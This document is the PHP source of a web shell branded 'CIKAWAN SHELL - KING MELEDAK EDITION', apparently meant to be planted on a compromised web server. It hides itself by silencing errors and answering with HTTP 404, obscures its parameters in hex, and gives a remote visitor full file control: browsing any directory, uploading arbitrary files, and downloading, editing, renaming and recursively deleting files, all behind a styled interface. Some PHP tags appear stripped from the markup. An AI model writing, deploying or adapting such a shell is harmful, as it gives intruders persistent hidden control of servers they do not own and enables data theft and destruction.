error_reporting(0);http_response_code(404);define("SHELL_NAME", "CIKAWAN SHELL - KING MELEDAK EDITION");function toHex($string){ $hex = ''; for ($i = 0; $i < strlen($string); $i++) { $hex .= dechex(ord($string[$i])); } return $hex;}function fromHex($hex){ $string = ''; for ($i = 0; $i < strlen($hex) - 1; $i += 2) { $string .= chr(hexdec($hex[$i] . $hex[$i + 1])); } return $string;}function getPermissions($file){ $perms = fileperms($file); switch ($perms & 0xF000) { case 0xC000: $info = 's'; break; case 0xA000: $info = 'l'; break; case 0x8000: $info = '-'; break; case 0x6000: $info = 'b'; break; case 0x4000: $info = 'd'; break; case 0x2000: $info = 'c'; break; case 0x1000: $info = 'p'; break; default: $info = 'u'; break; } $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-')); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-')); return $info;}function showAlert($message, $isSuccess = true, $extraParams = ""){ global $currentPath; $type = $isSuccess ? "success" : "error"; $encodedPath = toHex($currentPath); echo "<script> swal({ title: '{$type}', text: '{$message}', icon: '{$type}', button: 'OK', className: 'swal-custom' }).then(() => { document.location.href = `?p={$encodedPath}{$extraParams}`; }); </script>";}function deleteDirectory($dirPath){ if (!is_dir($dirPath) || is_link($dirPath)) { return unlink($dirPath); } foreach (scandir($dirPath) as $item) { if ($item == '.' || $item == '..') continue; if (!deleteDirectory($dirPath . DIRECTORY_SEPARATOR . $item)) return false; } return rmdir($dirPath);}$currentPath = isset($_GET['p']) ? fromHex($_GET['p']) : getcwd();if (is_dir($currentPath)) { chdir($currentPath);}if (isset($_FILES["f"])) { $files = $_FILES["f"]; $uploadedCount = 0; for ($i = 0; $i < count($files['name']); $i++) { if (copy($files['tmp_name'][$i], $files['name'][$i])) { $uploadedCount++; } } showAlert($uploadedCount . " file(s) uploaded successfully.");}if (isset($_GET["download"])) { $fileName = fromHex($_GET["n"]); $filePath = $currentPath . '/' . $fileName; if (file_exists($filePath) && is_readable($filePath)) { header("Content-Description: File Transfer"); header("Content-Type: application/octet-stream"); header("Content-Disposition: attachment; filename=\"" . basename($filePath) . "\""); header("Expires: 0"); header("Cache-Control: must-revalidate"); header("Pragma: public"); header("Content-Length: " . filesize($filePath)); readfile($filePath); exit; }}<!doctype html><html lang="en">
<meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="theme-color" content="#1a1a1a"><?= SHELL_NAME; ?> <title>= SHELL_NAME; </title> <!-- Stylesheets --> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;600;700&display=swap" rel="stylesheet"> <!-- Custom Styles --> <style> :root { --bg-color: #0d0d0d; --primary-color: rgba(26, 26, 26, 0.6); --secondary-color: rgba(42, 42, 42, 0.7); --text-color: #e0e0e0; --glow-color: #bf34f5; --accent-color: #00d9ff; --success-color: #03dac6; --error-color: #ff5252; --border-color: rgba(191, 52, 245, 0.3); --font-family: 'Poppins', sans-serif; } /* Animated Starry Background */ @keyframes move-twink-back { from { background-position: 0 0; } to { background-position: -10000px 5000px; } } .stars, .twinkling { position: absolute; top: 0; left: 0; right: 0; bottom: 0; width: 100%; height: 100%; display: block; z-index: -2; } .stars { background: #000 url(https://www.script-tutorials.com/demos/360/images/stars.png) repeat top center; } .twinkling { background: transparent url(https://www.script-tutorials.com/demos/360/images/twinkling.png) repeat top center; animation: move-twink-back 200s linear infinite; } body { background-color: var(--bg-color); color: var(--text-color); font-family: var(--font-family); overflow-x: hidden; } a { color: var(--accent-color); transition: all 0.3s ease; text-shadow: 0 0 5px var(--accent-color); } a:hover { color: #fff; text-shadow: 0 0 10px #fff; text-decoration: none; } .shell-container { padding: 15px; } .card-custom { background: var(--primary-color); border: 1px solid var(--border-color); border-radius: 12px; margin-bottom: 20px; box-shadow: 0 0 20px rgba(191, 52, 245, 0.2); backdrop-filter: blur(10px); -webkit-backdrop-filter: blur(10px); } .card-header-custom { background: var(--secondary-color); padding: 1rem 1.5rem; border-bottom: 1px solid var(--border-color); border-top-left-radius: 12px; border-top-right-radius: 12px; } .card-body-custom { padding: 1.5rem; } .shell-title { font-weight: 700; color: #c15adf; text-shadow: 0 0 3px #c15adf; letter-spacing: 2px; } .shell-title .fa-crown { color: #FFD700; text-shadow: 0 0 10px #FFD700; } .table { color: var(--text-color); } .table thead th { border: none; background-color: transparent; color: var(--glow-color); text-transform: uppercase; letter-spacing: 1px; } .table-hover tbody tr { transition: all 0.3s ease; } .table-hover tbody tr:hover { background-color: var(--secondary-color); transform: scale(1.01); box-shadow: 0 0 15px var(--border-color); } .table td, .table th { vertical-align: middle; border-top: 1px solid var(--border-color); } .form-control, .custom-file-label { background-color: var(--secondary-color) !important; color: var(--text-color) !important; border: 1px solid var(--border-color); border-radius: 8px; } .form-control:focus { box-shadow: 0 0 10px var(--glow-color); border-color: var(--glow-color); } .btn-custom { background: linear-gradient(45deg, var(--glow-color), var(--accent-color)); border: none; color: #fff; border-radius: 8px; padding: 10px 20px; font-weight: 600; transition: all 0.3s ease; box-shadow: 0 0 10px var(--glow-color); } .btn-custom:hover { color: #fff; transform: translateY(-2px); box-shadow: 0 0 20px var(--glow-color); } .breadcrumb-custom a { color: var(--text-color); text-shadow: none; } .perm-writable { color: var(--success-color); font-weight: bold; } .perm-unreadable { color: var(--error-color); font-weight: bold; } .perm-default { color: var(--text-color); } .action-icon { margin: 0 8px; font-size: 1.2rem; } .swal-custom { background-color: var(--primary-color) !important; color: var(--text-color) !important; border: 1px solid var(--border-color); } .swal-custom .swal-title { color: var(--text-color) !important; } .swal-custom .swal-text { color: var(--text-color) !important; } .swal-custom .swal-button { background-color: var(--glow-color) !important; } </style> <div class="stars"></div> <div class="twinkling"></div> <div class="shell-container"> <!-- Header --> <header class="text-center mb-4"> <h1 class="shell-title"><i class="fa fa-crown"></i> = SHELL_NAME; <i class="fa fa-crown"></i> <p class="text-muted">~ King Meledak Pokoknya ~</p> </header> <main> <div class="card-custom"> <div class="card-body-custom"> <!-- Info & Path --> <div class="d-flex justify-content-between align-items-center mb-3 flex-wrap"> <div class="breadcrumb-custom"> <i class="fa fa-folder-open-o" style="color: var(--glow-color);"></i> $pathParts = preg_split('/(\\\\|\\/)/', $currentPath); $builtPath = ''; echo '<a href="?p=' . toHex('/') . '">~</a>'; foreach ($pathParts as $part) { if (empty($part)) continue; $builtPath .= (empty($builtPath) ? '' : '/') . $part; echo '<span class="mx-2">/</span><a href="?p=' . toHex($builtPath) . '">' . $part . '</a>'; } </div> <div class="text-muted small"> PHP = phpversion(); on = php_uname('s'); </div> </div> <!-- File Upload --> </div> </div> if (isset($_GET['a'])) : <div class="card-custom"> <div class="card-body-custom"> $action = fromHex($_GET['a']); $itemName = isset($_GET['n']) ? fromHex($_GET['n']) : ''; $itemType = isset($_GET['t']) ? fromHex($_GET['t']) : ''; $fullPath = $currentPath . '/' . $itemName; switch ($action) { case 'delete': if ($itemType === 'd') { if (deleteDirectory($fullPath)) showAlert("Folder '{$itemName}' deleted."); else showAlert("Failed to delete folder '{$itemName}'.", false); } elseif ($itemType === 'f') { if (unlink($fullPath)) showAlert("File '{$itemName}' deleted."); else showAlert("Failed to delete file '{$itemName}'.", false); } break; case 'newDir': case 'newFile': case 'rename': case 'edit': case 'view': $title = ucwords(str_replace(['newDir', 'newFile'], ['New Directory', 'New File'], $action)); echo "<h4 class='mb-4' style='color: var(--glow-color);'>{$title}</h4>"; if ($action == 'newDir' && isset($_POST['s'])) { $newDirName = $_POST['n']; if (file_exists($currentPath . '/' . $newDirName)) showAlert("Folder '{$newDirName}' already exists.", false, "&a=" . toHex('newDir')); elseif (mkdir($currentPath . '/' . $newDirName)) showAlert("Folder '{$newDirName}' created."); else showAlert("Failed to create folder.", false); } elseif ($action == 'newFile' && isset($_POST['s'])) { $newFileName = $_POST['n']; if (file_put_contents($currentPath . '/' . $newFileName, $_POST['ctn']) !== false) showAlert("File '{$newFileName}' created.", true, "&a=" . toHex('view') . "&n=" . toHex($newFileName)); else showAlert("Failed to create file.", false); } elseif ($action == 'rename' && isset($_POST['s'])) { if (rename($fullPath, $currentPath . '/' . $_POST['n'])) showAlert("Renamed to '{$_POST['n']}'."); else showAlert("Failed to rename.", false); } elseif ($action == 'edit' && isset($_POST['s'])) { if (file_put_contents($fullPath, $_POST['ctn']) !== false) showAlert("File saved.", true, "&a=" . toHex('view') . "&n=" . toHex($itemName)); else showAlert("Failed to save file.", false); } else { // Show forms echo ''; } break; } </div> </div> else : <!-- File Manager View --> <div class="card-custom"> <div class="card-header-custom d-flex justify-content-end"> <a href="?p== toHex($currentPath) &a== toHex("newFile"); " class="btn btn-sm btn-custom mr-2"><i class="fa fa-file-o"></i> New File</a> <a href="?p== toHex($currentPath) &a== toHex("newDir"); " class="btn btn-sm btn-custom"><i class="fa fa-folder-o"></i> New Directory</a> </div> <div class="card-body-custom table-responsive"> <table class="table table-hover table-borderless"> <thead> <th>Name</th> <th>Size</th> <th>Perms</th> <th>Modified</th> <th>Actions</th>
</thead> <tbody> $items = array_diff(scandir($currentPath), ['.', '..']); $search = $_GET['search'] ?? ''; if ($search !== '') { $items = array_filter($items, function ($item) use ($search) { return stripos($item, $search) !== false; }); } $dirs = []; $files = []; foreach ($items as $item) { if (is_dir($currentPath . '/' . $item)) $dirs[] = $item; else $files[] = $item; } // Dirs foreach ($dirs as $dir) { $fullPath = $currentPath . '/' . $dir; $perms = getPermissions($fullPath); $permColor = is_writable($fullPath) ? 'perm-writable' : (is_readable($fullPath) ? 'perm-default' : 'perm-unreadable'); <a href="?p== toHex($fullPath); "><i class="fa fa-folder" style="color:#FFD700;"></i> = $dir; </a> | -- | <span class="= $permColor; ">= $perms; </span> | = date("Y-m-d H:i", filemtime($fullPath)); | <a href="?p== toHex($currentPath) &a== toHex('rename') &n== toHex($dir) &t== toHex('d') " class="action-icon" title="Rename"><i class="fa fa-pencil"></i></a> <a href="?p== toHex($currentPath) &a== toHex('delete') &n== toHex($dir) &t== toHex('d') " class="action-icon delete-prompt" title="Delete"><i class="fa fa-trash" style="color:var(--error-color);"></i></a> |
} // Files foreach ($files as $file) { $fullPath = $currentPath . '/' . $file; $perms = getPermissions($fullPath); $permColor = is_writable($fullPath) ? 'perm-writable' : (is_readable($fullPath) ? 'perm-default' : 'perm-unreadable'); $size = filesize($fullPath); $sizeFormatted = $size > 1024 * 1024 ? round($size / (1024 * 1024), 2) . ' MB' : ($size > 1024 ? round($size / 1024, 2) . ' KB' : $size . ' B'); <a href="?p== toHex($currentPath) &a== toHex('view') &n== toHex($file) "><i class="fa fa-file-text-o"></i> = $file; </a> | = $sizeFormatted; | <span class="= $permColor; ">= $perms; </span> | = date("Y-m-d H:i", filemtime($fullPath)); | <a href="?p== toHex($currentPath) &a== toHex('edit') &n== toHex($file) " class="action-icon" title="Edit"><i class="fa fa-edit" style="color:var(--success-color);"></i></a> <a href="?p== toHex($currentPath) &a== toHex('rename') &n== toHex($file) &t== toHex('f') " class="action-icon" title="Rename"><i class="fa fa-pencil"></i></a> <a href="?p== toHex($currentPath) &download&n== toHex($file) " class="action-icon" title="Download"><i class="fa fa-download"></i></a> <a href="?p== toHex($currentPath) &a== toHex('delete') &n== toHex($file) &t== toHex('f') " class="action-icon delete-prompt" title="Delete"><i class="fa fa-trash" style="color:var(--error-color);"></i></a> |
} </tbody> </div> </div> endif; </main> <!-- Footer --> <footer class="text-center mt-4"> <small class="text-muted">Coded with <i class="fa fa-heart" style="color:var(--error-color);"></i> by Meledak Cik | Cooder Test Bug</small> </footer> </div> <!-- Scripts --> <script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/js/bootstrap.bundle.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/bs-custom-file-input/dist/bs-custom-file-input.min.js"></script> <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script> <script> bsCustomFileInput.init(); $('[data-toggle="tooltip"]').tooltip(); document.querySelectorAll('.delete-prompt').forEach(button => { button.addEventListener('click', function(e) { e.preventDefault(); const url = this.href; const isFolder = url.includes(btoa('d')); const itemType = isFolder ? 'folder' : 'file'; swal({ title: "Are you sure?", text: `This ${itemType} will be permanently deleted!`, icon: "warning", buttons: ["Cancel", "Delete"], dangerMode: true, className: "swal-custom" }) .then((willDelete) => { if (willDelete) { window.location.href = url; } }); }); }); </script>